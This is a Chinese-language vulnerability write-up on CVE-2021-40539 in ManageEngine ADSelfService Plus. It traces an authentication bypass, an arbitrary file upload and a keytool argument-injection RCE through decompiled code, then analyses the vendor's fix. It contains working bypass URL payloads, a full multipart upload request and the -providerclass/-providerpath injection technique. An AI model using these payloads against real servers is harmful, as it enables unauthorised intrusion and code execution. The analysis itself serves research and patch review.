ManageEngine ADSelfService Plus(CVE-2021-40539)漏洞分析
藏青 漏洞分析 6010浏览 · 2021-11-23 15:31

环境搭建

安装

该漏洞影响版本在6113版本以前,但是在官网上已经下载不到这个版本了,我在其他网站下载了5.8的版本进行分析。

下载好后双击exe安装,但启动过程中会卡在一个地方不动,后来我是通过双击bin/run.bat解决的,需要注意在选择版本的时候选择free版本。启动后的界面如下:

调试

看启动过程这个系统也是基于tomcat,tomcat的调试是在catalina.bat中加上调试信息,但是这个系统似乎没有catalina.bat文件。在run.bat中加上下面的内容。

漏洞分析

认证绕过

POC

/./RestAPI/LicenseMgr

原理分析

这里可以看到是请求RestAPI接口时的绕过,查看web.xml文件,访问RestAPI/下的内容会被struts处理。

<servlet>
        <servlet-name>action</servlet-name>
        <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
        ...
        <load-on-startup>1</load-on-startup>
    </servlet>
<servlet-mapping>
    <servlet-name>action</servlet-name>
    <url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>

webapps/adssp/WEB-INF/api-struts-config.xml:43中找到LicenseMgr的处理类。

<action path="/LicenseMgr" type="com.adventnet.sym.adsm.common.webclient.api.LicenseMgr" parameter="operation" validate="false" scope="session">
            <forward name="result" path="/adsf/jsp/common/RestAPIResponse.jsp"/>
        </action>

LicenseMgr中没有找到明显的操作方法,因此在父类的DispatchAction#execute方法打断点,通过执行上面的payload拿到调用栈。

如果没有加上/./绕过,则不会执行到这个方法,所以推测是在Filter中做了权限认证的处理。这个系统配置的Filter并不多,因此我过了下发现问题主要在ADSFilter#doFilter中,如果没有加/./则会直接返回。

通过上面的代码分析,同时满足下面两个条件才会return,所以我们只要绕过一个即可。

  • reqURI可以被/RestAPI/*匹配到
  • RestAPIFilter.doAction返回false
    很明显使用/./是绕过了正则匹配的部分。

前面提到了这个系统是使用了tomcat,所以其实绕过的方法就比较多样了。

/xxxx/../RestAPI/LicenseMgr
/;asdassd/RestAPI/LicenseMgr
/xxx;asdassd/../RestAPI/LicenseMgr
/RestAPI;/LicenseMgr

文件上传

POC

执行成功后会在/bin下创建test.txt文件

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.3.16:8888
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: confluence.browse.space.cookie=space-templates; adscsrf=c7cd8c01-87c0-493d-841b-08dab9b51b30; JSESSIONIDADSSP=E332DAC8F8DCA73F0A99581A22D3ED36
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Content-Length: 749
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"
unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"
yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"
smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"
Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="adasdas/.././astest.txt"
Content-Type: application/octet-stream
arbitrary content
-----------------------------39411536912265220004317003537--

原理分析

Struts-config.xml存在如下配置:

<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
            <forward name="LogonCustomization" path="LogonCustomizationPage"/>
        </action>

通过配置+POC可知,调用的是unspecified方法,由于form传入的是smartcard,因此会进入到else if的内容中。

public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
    ...
            if (request.getParameter("Save") != null) {
                message = rb.getString("adssp.common.text.success_update");
                messageType = "success";
                if ("mob".equalsIgnoreCase(request.getParameter("form"))) {
                    this.saveMobileSettings(logonList, request);
                    request.setAttribute("form", "mob");
                } 
                //进入到下面的处理中
                else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) {
                    operation = request.getParameter("operation");
                    SmartCardAction sCAction = new SmartCardAction();
                    if (operation.equalsIgnoreCase("Add")) {
                        request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
                        request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
                        //处理SmartCardConfig文件
                        sCAction.addSmartCardConfig(mapping, dynForm, request, response);
                    } else if (operation.equalsIgnoreCase("Update")) {
                        sCAction.updateSmartCardConfig(mapping, form, request, response);
                    }

跟进到SmartCardAction#addSmartCardConfig中,调用了getFileFromRequest

getFileFromRequest从Form表单中解析得到文件名和内容进行上传。

在已经拿到POC的情况下,可以看到文件上传漏洞的原理比较简单,那么下面我提出两个问题。

  • 这里在写入文件时明明只有文件名,为什么写入的文件会被上传到bin目录下?

这个问题可以通过分析File#getAbsolutePath的调用解决,getAbsolutePath-->resolve-->getUserPath()-->System.getProperty("user.dir"),而在当前环境中System.getProperty("user.dir")保存的是/bin/的地址,因此上传会传到/bin目录下。

public String getAbsolutePath() {
        return fs.resolve(this);
    }

  • 我试图通过../等方式跨目录没有成功?为什么不能通过../实现跨目录上传?

FileName是通过getFileName获取的

getFileName调用getBaseFileName

getBaseFileName中通过new File().getName()获取文件名,所以我们传入的路径会被处理,这也是无法跨目录上传的原因。

命令执行

原理分析

命令执行发生在ConnectionAction#openSSLTool中,这个函数中通过createCSR创建CSR文件。

public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
        String action = request.getParameter("action");
        if (action != null && action.equals("generateCSR")) {
            SSLUtil.createCSR(request);
        }
        return actionMap.findForward("SSLTool");
    }

createCSR接收需要的参数放到sslParams这个json对象中,并继续通过重载方法完成实际的操作。

重载的createCSR方法中,接收参数拼接并调用runCommand方法执行命令,主要是通过调用keytool.exe生成证书文件。

public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
        //接收参数拼接命令
        String name = "\"" + sslSettings.getString("COMMON_NAME") + "\"";
        String pass = sslSettings.getString("PASSWORD");
        //keyToolEscape过滤
        pass = ClientUtil.keyToolEscape(pass);
        String password = "\"" + pass + "\"";
        logger.log(Level.INFO, "Keystore will be created for " + name);
        File keyFile = new File("..\\jre\\bin\\SelfService.keystore");
        if (keyFile.exists()) {
            File bckFile = new File("..\\jre\\bin\\SelfService_" + System.currentTimeMillis() + ".keystore");
            keyFile.renameTo(bckFile);
        }
        StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe  -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass ");
        keyCmd.append(password);
        keyCmd.append(" -storePass ").append(password);
        String keyLength = sslSettings.getString("KEY_LENGTH");
        if (keyLength != null && !keyLength.equals("")) {
            keyCmd.append(" -keysize ").append(keyLength);
        }
        String validity = sslSettings.getString("VALIDITY");
        if (validity != null && !validity.equals("")) {
            keyCmd.append(" -validity ").append(validity);
        }
        String san_name = sslSettings.getString("SAN_NAME");
        keyCmd.append(" -dName \"CN=").append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME")));
        keyCmd.append(", OU= ").append(ClientUtil.keyToolEscape(sslSettings.getString("OU")));
        keyCmd.append(", O=").append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION")));
        keyCmd.append(", L=").append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY")));
        keyCmd.append(", S=").append(ClientUtil.keyToolEscape(sslSettings.getString("STATE")));
        keyCmd.append(", C=").append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE")));
        keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore");
        if (san_name != null && !san_name.equals("")) {
            keyCmd.append(" -ext SAN=");
            String[] san_name_arr = san_name.split(",");
            for(int i = 0; i < san_name_arr.length; ++i) {
                if (i != 0) {
                    keyCmd.append(",");
                }
                keyCmd.append("dns:" + ClientUtil.keyToolEscape(san_name_arr[i]));
            }
        }
        JSONObject jStatus = new JSONObject();
        String status = runCommand(keyCmd.toString());
        logger.log(Level.INFO, "The status of keystore creation is " + status);
        if (status != null && status.equals("success")) {
            keyFile = new File("..\\webapps\\adssp\\Certificates");
            if (!keyFile.exists()) {
                keyFile.mkdir();
            }
            keyCmd = (new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -certreq -alias tomcat -sigalg SHA256withRSA -keyalg RSA -storepass ")).append(password).append(" -keystore ..\\jre\\bin\\SelfService.keystore -file ..\\webapps\\adssp\\Certificates\\SelfService.csr");
            if (san_name != null && !san_name.equals("")) {
                keyCmd.append(" -ext SAN=");
                String[] san_name_arr = san_name.split(",");
                for(int i = 0; i < san_name_arr.length; ++i) {
                    if (i != 0) {
                        keyCmd.append(",");
                    }
                    keyCmd.append("dns:" + ClientUtil.keyToolEscape(san_name_arr[i]));
                }
            }
            //执行命令
            status = runCommand(keyCmd.toString());
            logger.log(Level.INFO, "The status of CSR Generation is " + status);
        }

大部分的参数拼接时都会经过keyToolEscape的过滤,keyToolEscape中会将",;等敏感字符转义。

public static String keyToolEscape(String str) {
        if (str == null) {
            return null;
        } else {
            String[] chars = new String[]{"\"", ",", ";"};
            String ret = str;
            String[] arr$ = chars;
            int len$ = chars.length;
            for(int i$ = 0; i$ < len$; ++i$) {
                String s = arr$[i$];
                if (ret.contains(s)) {
                    ret = ret.replaceAll(s, "\\\\" + s);
                }
            }
            return ret;
        }
    }

但是KEY_LENGTHVALIDITY并没有进行转义,所以可以展开利用。

String keyLength = sslSettings.getString("KEY_LENGTH");
        if (keyLength != null && !keyLength.equals("")) {
            keyCmd.append(" -keysize ").append(keyLength);
        }
        String validity = sslSettings.getString("VALIDITY");
        if (validity != null && !validity.equals("")) {
            keyCmd.append(" -validity ").append(validity);
        }

漏洞利用

方法一:通过keytools加载类

这个方法的原理在于keytools提供了下面两个参数,这里提供的类会被加载,所以可以在静态代码块中编写需要执行的代码,编译好后配合上面的文件上传漏洞上传,再通过注入providerclassproviderpath加载类以执行代码。

-providerclass <providerclass>  提供方类名
 -providerpath <pathlist>        提供方类路径
失败尝试:拼接命令

执行命令时可以通过&&拼接其他要执行的命令,能否直接通过&&完成命令执行呢?

不可以,本来我想尝试直接闭合后面的内容后再通过&&拼接其他命令执行,但是经过查阅资料这样是不行的,只有当使用cmd /c时才可以使用&&拼接执行。后面的命令能执行成功的前提是前面的命令没有报错,如果前面的命令出错后面拼接的命令是无法执行成功的。

如果没有使用cmd /c也无法执行后面的命令

修复分析

6116版本中修复结果如下。

认证绕过

6116中,直接使用/./RestAPI/LicenseMgr会返回500无法测试能否绕过,经过排错,这个版本需要加上参数才能正常执行,否则不会经过过滤器。

使用/xxx/../RestAPI/LicenseMgr?operation=unspecified绕过,发现在ADSFilter#doSubFilters中存在如下代码。

查看isRestRequest的内容,可以看到通过getNormalizedURI对URL经过处理后才进行正则匹配。

public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
        String restApiUrlPattern = "/RestAPI/.*";
        try {
            restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);
        } catch (Exception var5) {
            out.log(Level.INFO, "Unable to get API_URL_PATTERN.", var5);
        }
        //处理URL
        String reqURI = SecurityUtil.getNormalizedURI(request.getRequestURI());
        String contextPath = request.getContextPath() != null ? request.getContextPath() : "";
        reqURI = reqURI.replace(contextPath, "");
        reqURI = reqURI.replace("//", "/");
        //正则匹配
        return Pattern.matches(restApiUrlPattern, reqURI);
    }

getNormalizedURI 会对./../进行处理,所以无法使用这种方式绕过了。

但是根据我们之前的分析,也可以通过/RestAPI;/LicenseMgr?operation=unspecified绕过,但也是不行的,使用上述payload返回500错误。查看配置发现URL会被Security Filter处理。

SecurityFilter#doFilter中会判断URL中是否包含;或者%3b,如果是则直接退出。

文件上传

SmartCardAPI#addSmartCardConfiguration不再使用getFileFromRequest完成上传操作,而使用getFileFromMultipartRequest

getFileFromMultipartRequest虽然还是会进行文件上传操作,但是上传路径和名称都不可控。

命令执行

createCSR已经不再使用拼接命令的方式创建证书,因此也不存在命令执行漏洞。

总结

这个漏洞的权限认证绕过和文件上传其实比较普通,作者发现的受限的命令执行配合文件上传导致RCE的过程算是这个洞的亮点吧。之前分析认证绕过的地方有些错误,感谢killer师傅指正。

参考文章

1 条评论
某人
表情
可输入 255